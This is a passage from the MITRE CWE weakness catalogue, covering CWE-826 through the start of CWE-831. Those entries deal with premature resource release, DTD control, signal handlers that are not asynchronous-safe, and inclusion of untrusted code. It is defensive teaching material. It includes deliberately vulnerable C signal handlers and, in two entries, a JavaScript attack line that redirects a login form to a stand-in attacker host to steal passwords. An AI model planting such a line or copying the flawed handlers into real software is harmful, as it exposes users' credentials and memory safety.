MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

CWE-826: Premature Release of Resource During Expected Lifetime

Weakness ID : 826
Structure : Simple
Abstraction : Base

Description

The product releases a resource that is still intended to be used by itself or another actor.

Extended Description

This weakness focuses on errors in which the product should not release a resource, but performs the release anyway. This is different than a weakness in which the product releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.

When a product releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1462
CanPrecede	C	672	Operation on a Resource after Expiration or Release	1479

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324
MemberOf	C	840	Business Logic Errors	2360

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory *If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.*	
Availability	DoS: Crash, Exit, or Restart *When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Application Data Modify Memory *When the resource is released, the software might modify some of its structure. This might affect logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.*	

Observed Examples

Reference	Description
CVE-2009-3547	Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476)

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2009-3547

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544

Notes

Research Gap

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

CWE-827: Improper Control of Document Type Definition

Weakness ID : 827
Structure : Simple
Abstraction : Variant

Description

The product does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the product to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

Extended Description

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1741
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1544
CanPrecede	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1633

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.*	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).*	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity *The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.*	

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. *https://www.cve.org/CVERecord?id=CVE-2010-2076*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

References

[REF-773]Daniel Kulp. "Apache CXF Security Advisory (CVE-2010-2076)". 2010 June 6. < http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf >.

CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID : 828
Structure : Simple
Abstraction : Variant

Description

The product defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is malloc(), which modifies internal global variables as it manages memory. Very few functions are actually reentrant.
- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.
- The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the product have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	899
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	1147

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *The most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls. Note: This will not always be possible and may require large portions of the product to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

Effectiveness = High

Phase: Implementation

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the product.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(Bad)*

```
char *logMessage;
void handler (int sigNum) {
  syslog(LOG_NOTICE, "%s\n", logMessage);
  free(logMessage);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
  exit(0);
}
int main (int argc, char* argv[]) {
  logMessage = strdup(argv[1]);
  /* Register signal handlers. */
  signal(SIGHUP, handler);
  signal(SIGTERM, handler);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C *(Bad)*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
  syslog(LOG_NOTICE,"%s\n",what);
  free(global2);
  free(global1);
  /* Sleep statements added to expand timing window for race condition */
  sleep(10);
  exit(0);
}
int main (int argc,char* argv[]) {
  what=argv[1];
  global1=strdup(argv[2]);
  global2=malloc(340);
  signal(SIGHUP,sh);
  signal(SIGTERM,sh);
  /* Sleep statements added to expand timing window for race condition */
  sleep(10);
  exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

Observed Examples

Reference	Description
CVE-2008-4109	Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts *https://www.cve.org/CVERecord?id=CVE-2008-4109*

Reference	Description
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415). *https://www.cve.org/CVERecord?id=CVE-2006-5051*
CVE-2001-1349	unsafe calls to library functions from signal handler *https://www.cve.org/CVERecord?id=CVE-2001-1349*
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist. *https://www.cve.org/CVERecord?id=CVE-2004-0794*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://www.cve.org/CVERecord?id=CVE-2004-2259*
CVE-2002-1563	SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync. *https://www.cve.org/CVERecord?id=CVE-2002-1563*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG31-C		Do not access or modify shared objects in signal handlers

References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < https://lcamtuf.coredump.cx/signals.txt >.2023-04-07.

[REF-361]"Race Condition: Signal Handling". < https://vulncat.fortify.com/en/detail?id=desc.structural.cpp.race_condition_signal_handling#:~:text=Signal%20handling%20race%20conditions%20can,installed%20to%20handle%20multiple%20signals.s >.2023-04-07.

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID : 829
Structure : Simple
Abstraction : Base

Description

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1471
ParentOf	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	236
ParentOf	V	827	Improper Control of Document Type Definition	1736
ParentOf	V	830	Inclusion of Web Functionality from an Untrusted Source	1747

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1471

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	2431

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2477

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands *An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML *(Bad)*

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id ="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript *(Attack)*

```
...Weather widget code....
```

```
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. *https://www.cve.org/CVERecord?id=CVE-2010-2076*
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://www.cve.org/CVERecord?id=CVE-2004-0285*
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://www.cve.org/CVERecord?id=CVE-2004-0030*
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://www.cve.org/CVERecord?id=CVE-2004-0068*
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://www.cve.org/CVERecord?id=CVE-2005-2157*
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://www.cve.org/CVERecord?id=CVE-2005-2162*
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://www.cve.org/CVERecord?id=CVE-2005-2198*
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion. *https://www.cve.org/CVERecord?id=CVE-2004-0128*
CVE-2005-1864	PHP file inclusion. *https://www.cve.org/CVERecord?id=CVE-2005-1864*
CVE-2005-1869	PHP file inclusion. *https://www.cve.org/CVERecord?id=CVE-2005-1869*
CVE-2005-1870	PHP file inclusion. *https://www.cve.org/CVERecord?id=CVE-2005-1870*
CVE-2005-2154	PHP local file inclusion. *https://www.cve.org/CVERecord?id=CVE-2005-2154*
CVE-2002-1704	PHP remote file include. *https://www.cve.org/CVERecord?id=CVE-2002-1704*
CVE-2002-1707	PHP remote file include. *https://www.cve.org/CVERecord?id=CVE-2002-1707*
CVE-2005-1964	PHP remote file include. *https://www.cve.org/CVERecord?id=CVE-2005-1964*
CVE-2005-1681	PHP remote file include. *https://www.cve.org/CVERecord?id=CVE-2005-1681*
CVE-2005-2086	PHP remote file include. *https://www.cve.org/CVERecord?id=CVE-2005-2086*
CVE-2004-0127	Directory traversal vulnerability in PHP include statement. *https://www.cve.org/CVERecord?id=CVE-2004-0127*
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2005-1971
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. *https://www.cve.org/CVERecord?id=CVE-2005-3335*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2357
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2371
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2495
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2501
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
175	Code Inclusion
201	Serialized Data External Linking
228	DTD Injection
251	Local Code Inclusion
252	PHP Local File Inclusion
253	Remote Code Inclusion
263	Force Use of Corrupted Files
538	Open-Source Library Manipulation
549	Local Execution of Code
640	Inclusion of Code in Existing Process
660	Root/Jailbreak Detection Evasion via Hooking
695	Repo Jacking
698	Install Malicious Extension

References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege >.2023-04-07.

CWE-830: Inclusion of Web Functionality from an Untrusted Source

Weakness ID : 830
Structure : Simple
Abstraction : Variant

Description

The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1741

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	2431

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML *(Bad)*

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id ="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript *(Attack)*

```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2495
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

References

[REF-778]Jeremiah Grossman. "Third-Party Web Widget Security FAQ". < https://blog.jeremiahgrossman.com/2010/07/third-party-web-widget-security-faq.html >.2023-04-07.

CWE-831: Signal Handler Function Associated with Multiple Signals

Weakness ID : 831
Structure : Simple
Abstraction : Variant

Description

The product defines a function that is used as a handler for more than one signal.

Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	899

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality Access Control Other	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Read Application Data Gain Privileges or Assume Identity Bypass Protection Mechanism Varies by Context *The most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.*	

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals.

